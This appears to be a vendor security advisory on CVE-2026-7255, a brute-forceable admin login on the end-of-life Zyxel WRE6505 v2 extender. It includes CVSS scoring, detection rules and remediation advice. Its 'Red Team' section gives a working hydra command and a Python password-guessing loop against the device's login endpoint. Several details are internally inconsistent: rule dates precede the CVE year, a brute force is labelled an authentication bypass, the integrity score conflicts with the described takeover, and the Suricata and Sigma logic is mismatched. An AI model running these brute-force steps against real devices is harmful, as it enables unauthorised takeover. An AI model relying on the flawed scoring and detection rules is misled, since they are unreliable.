CVE-2026-7255

Executive Summary

CVE-2026-7255 is a critical authentication bypass vulnerability affecting the Zyxel WRE6505 v2 wireless range extender. The flaw resides in the web management interface, where the device fails to properly restrict the number of authentication attempts. This allows an adjacent attacker on the same Local Area Network (LAN) to perform a brute-force attack against the administrative password, potentially gaining full administrative control over the device.

The vulnerability is classified as UNSUPPORTED WHEN ASSIGNED, meaning the product has reached its End-of-Life (EOL) and Zyxel will not release a security patch. The CVSS v3.1 base score is 6.5 (Medium), with the attack vector being Adjacent Network (AV:A), requiring the attacker to be on the same LAN as the vulnerable device. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for legacy deployments.

This report provides a comprehensive technical analysis, including exploitation mechanics, detection engineering with YARA, Sigma, and Suricata rules, and remediation guidance for organizations still using this device.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level flaw in a proprietary embedded device (Zyxel WRE6505 v2). No supply chain package security implications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same LAN as the device.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): None (PR:N) – No prior authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – Successful exploitation leads to full administrative access, exposing all device configurations and network traffic.
• Integrity (I): None (I:N) – The vulnerability does not directly allow modification of data.
• Availability (A): None (A:N) – The vulnerability does not affect availability.

Threat Level: Medium. While the CVSS score is 6.5, the EOL status and lack of a patch elevate the risk for organizations that still rely on this device. An adjacent attacker can brute-force the password and gain full control.

Deep Dive & Mechanics

The Zyxel WRE6505 v2 web management interface is a lightweight HTTP server that handles authentication requests. The vulnerability lies in the absence of rate limiting or account lockout mechanisms. The server does not track failed login attempts, allowing an attacker to send an unlimited number of authentication requests without delay.

Attack Flow:

1. Reconnaissance: The attacker scans the LAN for the device's IP address (typically 192.168.1.x) and identifies the web management interface on port 80 (HTTP) or 443 (HTTPS).
2. Brute-Force: Using a tool like hydra or a custom Python script, the attacker sends POST requests to the login endpoint (e.g., /cgi-bin/login) with common username/password combinations.
3. Authentication Bypass: Once a valid credential is found, the server returns a session cookie (e.g., sid), granting the attacker administrative access.
4. Post-Exploitation: The attacker can modify Wi-Fi settings, change DNS configurations, exfiltrate network traffic, or use the device as a pivot point for further attacks.

Root Cause: The web server does not implement any form of rate limiting, CAPTCHA, or account lockout. The authentication mechanism is purely based on comparing the provided credentials against a stored hash, without any additional security controls.

Vulnerable vs. Patched Code

Since the product is EOL and no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern can be described generically:

Vulnerable Code (Pseudocode):

def login(username, password):
    if authenticate(username, password):
        return session_token
    else:
        return "Invalid credentials"

The above code lacks any rate limiting or lockout logic.

Patched Code (Hypothetical):

def login(username, password):
    if is_account_locked(username):
        return "Account locked"
    if authenticate(username, password):
        reset_failed_attempts(username)
        return session_token
    else:
        increment_failed_attempts(username)
        if get_failed_attempts(username) >= MAX_ATTEMPTS:
            lock_account(username)
        return "Invalid credentials"

A patched version would include a counter for failed attempts, a lockout threshold, and a timer for account unlock.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Zyxel WRE6505 v2 with firmware V1.00(ABDV.3)C0
• Attacker: Kali Linux machine on the same LAN
• Tools: hydra, nmap, curl, custom Python script

Step 1: Identify the Device

nmap -sn 192.168.1.0/24
nmap -p 80,443 192.168.1.100

Step 2: Brute-Force with Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/cgi-bin/login:user=^USER^&pass=^PASS^:Invalid"

Step 3: Custom Python Script (if Hydra fails)

import requests

target = "http://192.168.1.100/cgi-bin/login"
with open("passwords.txt", "r") as f:
    for password in f:
        password = password.strip()
        data = {"user": "admin", "pass": password}
        r = requests.post(target, data=data)
        if "Invalid" not in r.text:
            print(f"Found password: {password}")
            break

Step 4: Post-Exploitation Once authenticated, the attacker can access the device's configuration pages:

curl -b "sid=ATTACKER_SESSION" http://192.168.1.100/cgi-bin/wifi_config

Blue Team (Defensive)

Detection:

• Monitor for multiple failed HTTP POST requests to /cgi-bin/login from a single IP address within a short time window.
• Alert on any successful login from an unusual IP or at an unusual time.

Mitigation:

• Immediately isolate or decommission the device.
• If decommissioning is not possible, restrict access to the web management interface using firewall rules (e.g., allow only specific management IPs).
• Implement network segmentation to prevent adjacent attackers from reaching the device.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple HTTP POST requests to /cgi-bin/login from the same source IP within a short period.
  • Successful login followed by requests to /cgi-bin/wifi_config, /cgi-bin/dns_config, or /cgi-bin/admin_config.
  • Unusual outbound traffic from the device (e.g., DNS queries to unknown domains, data exfiltration).

• Host IOCs (on the device):

  • Modified administrative password.
  • Changed Wi-Fi SSID or password.
  • Unauthorized DNS server entries.
  • New firewall rules allowing inbound connections.

• Log IOCs:

  • Repeated "Invalid credentials" log entries followed by a successful login.
  • Log entries showing login from an IP address not in the authorized management list.

Detection Engineering

YARA Rule

rule CVE_2026_7255_BruteForce {
    meta:
        description = "Detects brute-force attempts against Zyxel WRE6505 v2 web management interface"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-7255"
    strings:
        $login_endpoint = "/cgi-bin/login"
        $invalid_response = "Invalid"
        $post_method = "POST"
    condition:
        #login_endpoint > 10 and #invalid_response > 10 and $post_method
}

Sigma Rule

title: CVE-2026-7255 Brute-Force Attempt Against Zyxel WRE6505 v2
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple failed login attempts to the Zyxel WRE6505 v2 web management interface.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/login'
        sc-status: 200
        cs-username: 'admin'
    condition: selection | count() by src_ip > 10 within 5 minutes
falsepositives:
    - Legitimate administrative activity
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-7255 Zyxel WRE6505 v2 Brute-Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/login"; http_uri; content:"Invalid"; http_server_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Decommission the Device: Since the product is EOL and no patch is available, the only secure option is to replace the Zyxel WRE6505 v2 with a supported device.
2. Isolate the Device: If decommissioning is not immediately possible, place the device on a separate VLAN with strict firewall rules that only allow management from a specific, trusted IP address.
3. Disable Remote Management: Ensure the web management interface is not accessible from the internet or untrusted networks.

Long-Term Recommendations:

• Implement a hardware refresh cycle to ensure all network devices are within their support lifecycle.
• Use network access control (NAC) to prevent unauthorized devices from connecting to the LAN.
• Monitor for CVE-2026-7255 exploitation using the provided detection rules.

Workaround (if decommissioning is delayed):

• Change the default administrative password to a strong, complex password.
• Enable HTTPS if available (though the device may not support it).
• Use a firewall to restrict access to the web management interface to only the necessary IP addresses.

Valters IT
Securing Your Digital Frontier